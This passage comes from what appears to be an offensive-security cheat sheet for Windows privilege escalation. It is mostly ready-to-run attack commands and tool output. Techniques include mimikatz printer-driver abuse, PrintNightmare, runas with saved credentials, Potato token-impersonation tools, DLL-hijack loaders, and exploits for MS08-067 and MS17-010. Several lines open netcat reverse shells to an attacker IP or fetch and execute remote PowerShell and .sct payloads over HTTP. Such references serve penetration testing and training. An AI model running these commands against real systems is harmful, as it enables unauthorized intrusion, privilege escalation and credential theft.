3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 PM
<SNIP>

PS C:\Users\Swissky> DriverQuery.exe --no-msft
[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
    Service Name: ctxusbm
    Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
    Version: 14.11.0.138
    Creation Time (UTC): 17/05/2018 01:20:50
    Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
    Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US
<SNIP>
```

### EoP - Printers

#### Universal Printer

Create a Printer

```
$printerName     = 'Universal Priv Printer'
$system32        = $env:systemroot + '\system32'
$drivers         = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
 
Copy-Item -Force -Path ($system32 + '\mscms.dll')             -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll'   -Destination ($drivers  + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers  + '\W32X86\3\mimispool.dll')
 
Add-PrinterDriver -Name       'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
 
New-Item         -Path ($RegStartPrinter + '\CopyFiles')        | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Directory' -PropertyType 'String'      -Value 'x64\3'           | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String'      -Value 'W32X86\3'        | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Mango')  | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Directory' -PropertyType 'String'      -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null
```

Execute the driver

```
$serverName  = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
```

#### PrinterNightmare

```
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
```

```
PS C:\target> $serverName  = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
```

#### Bring Your Own Vulnerability

Concealed Position : <https://github.com/jacob-baines/concealed\\_position>

* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE
* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE

```powershell
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
```

### EoP - Runas

Use the `cmdkey` to list the stored credentials on the machine.

```powershell
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
```

Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.

```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
```

Using `runas` with a provided set of credential.

```powershell
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```

```powershell
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```

### EoP - Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.

```powershell
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
# List shadow copies using diskshadow
diskshadow list shadows all
  
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```

### EoP - From local administrator to NT SYSTEM

```powershell
PsExec.exe -i -s cmd.exe
```

### EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : <https://lolbas-project.github.io/>

> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra "unexpected" functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team

```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```

### EoP - Impersonation Privileges

Full privileges cheatsheet at <https://github.com/gtworek/Priv2Admin>, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.

| Privilege              | Impact      | Tool                    | Execution path                                                                                                                                                                                                                                                                                                                                     | Remarks                                                                                                                                                                                                                                                                                                                        |
| ---------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `SeAssignPrimaryToken` | ***Admin*** | 3rd party tool          | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"*                                                                                                                                                                                                      | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon.                                                                                                                                                                                         |
| `SeBackup`             | **Threat**  | ***Built-in commands*** | Read sensitve files with `robocopy /b`                                                                                                                                                                                                                                                                                                             | <p>- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (and robocopy) is not helpful when it comes to open files.<br><br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter.</p>                                                                      |
| `SeCreateToken`        | ***Admin*** | 3rd party tool          | Create arbitrary token including local admin rights with `NtCreateToken`.                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                |
| `SeDebug`              | ***Admin*** | **PowerShell**          | Duplicate the `lsass.exe` token.                                                                                                                                                                                                                                                                                                                   | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)                                                                                                                                                                                                         |
| `SeLoadDriver`         | ***Admin*** | 3rd party tool          | <p>1. Load buggy kernel driver such as <code>szkg64.sys</code> or <code>capcom.sys</code><br>2. Exploit the driver vulnerability<br><br>Alternatively, the privilege may be used to unload security-related drivers with <code>ftlMC</code> builtin command. i.e.: <code>fltMC sysmondrv</code></p>                                                | <p>1. The <code>szkg64</code> vulnerability is listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. The <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">exploit code</a> was created by <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
| `SeRestore`            | ***Admin*** | **PowerShell**          | <p>1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.<br><br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p>                                                                                                                                                          |
| `SeTakeOwnership`      | ***Admin*** | ***Built-in commands*** | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U</p>                                                                                                                                       | <p>Attack may be detected by some AV software.<br><br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p>                                                                                                                                                          |
| `SeTcb`                | ***Admin*** | 3rd party tool          | <p>Manipulate tokens to have local admin rights included. May require SeImpersonate.<br><br>To be verified.</p>                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                |

#### Restore A Service Account's Privileges

> This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.

```powershell
# https://github.com/itm4n/FullPowers

c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
```

#### Meterpreter getsystem and alternatives

```powershell
meterpreter> getsystem 
Tokenvator.exe getsystem cmd.exe 
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe 
psexec -s -i cmd.exe 
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```

#### RottenPotato (Token Impersonation)

* Binary available at : <https://github.com/foxglovesec/RottenPotato>
* Binary available at : <https://github.com/breenmachine/RottenPotatoNG>

```c
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```

```powershell
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```

#### Juicy Potato (Abusing the golden privileges)

> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**\
> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**

* Binary available at : <https://github.com/ohpe/juicy-potato/releases>

1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)

   ```powershell
   whoami /priv
   ```
2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
   * [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise)
   * [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise)
   * [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise)
   * [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro)
   * [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise)
   * [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter)
   * [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard)
3. Execute JuicyPotato to run a privileged command.

   ```powershell
   JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
   JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
   JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
       Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
       ......
       [+] authresult 0
       {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
       [+] CreateProcessWithTokenW OK
   ```

#### Rogue Potato (Fake OXID Resolver)

* Binary available at <https://github.com/antonioCoco/RoguePotato>

```powershell
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. 
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
```

#### EFSPotato (MS-EFSR EfsRpcOpenFileRaw)

* Binary available at <https://github.com/zcgonvh/EfsPotato>

```powershell
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs

# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
```

### EoP - Privileged File Write

#### DiagHub

:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory.

**Exploit**

1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32`
2. Build <https://github.com/xct/diaghub>
3. `diaghub.exe c:\\ProgramData\\ payload.dll`

The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`

Alternative tools:

* <https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag>
* <https://github.com/decoder-it/diaghub\\_exploit>

#### UsoDLLLoader

:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.

> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.

**Exploit**

1. Build <https://github.com/itm4n/UsoDllLoader>
   * Select Release config and x64 architecure.
   * Build solution.
     * DLL .\x64\Release\WindowsCoreDeviceInfo.dll
     * Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.

#### WerTrigger

> Weaponizing for privileged file writes bugs with Windows problem reporting

1. Clone <https://github.com/sailay1996/WerTrigger>
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**

### EoP - Common Vulnerabilities and Exposure

#### MS08-067 (NetAPI)

Check the vulnerability with the following nmap script.

```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
```

Metasploit modules to exploit `MS08-067 NetAPI`.

```powershell
exploit/windows/smb/ms08_067_netapi
```

If you can't use Metasploit and only want a reverse shell.

```powershell
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
```

#### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7

'KiTrap0D' User Mode to Ring Escalation (MS10-015)

```powershell
https://www.exploit-db.com/exploits/11199

Metasploit : exploit/windows/local/ms10_015_kitrap0d
```

#### MS11-080 (afd.sys) - Microsoft Windows XP/2003

```powershell
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
```

#### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012

```powershell
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");

# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe

# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
```

#### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : `wmic qfe list | findstr "3139914"`

```powershell
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

#### MS17-010 (Eternal Blue)

Check the vulnerability with the following nmap script or crackmapexec: `crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010`.

```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
```

Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.

```powershell
auxiliary/admin/smb/ms17_010_command          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```

If you can't use Metasploit and only want a reverse shell.

```powershell
git clone https://github.com/helviojunior/MS17-010

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
```

#### CVE-2019-1388

Exploit : <https://packetstormsecurity.com/files/14437/hhupd.exe.html>

Requirement:

* Windows 7
* Windows 10 LTSC 10240

Failing on :

* LTSC 2019
* 1709
* 1803

Detailed information about the vulnerability : <https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege>
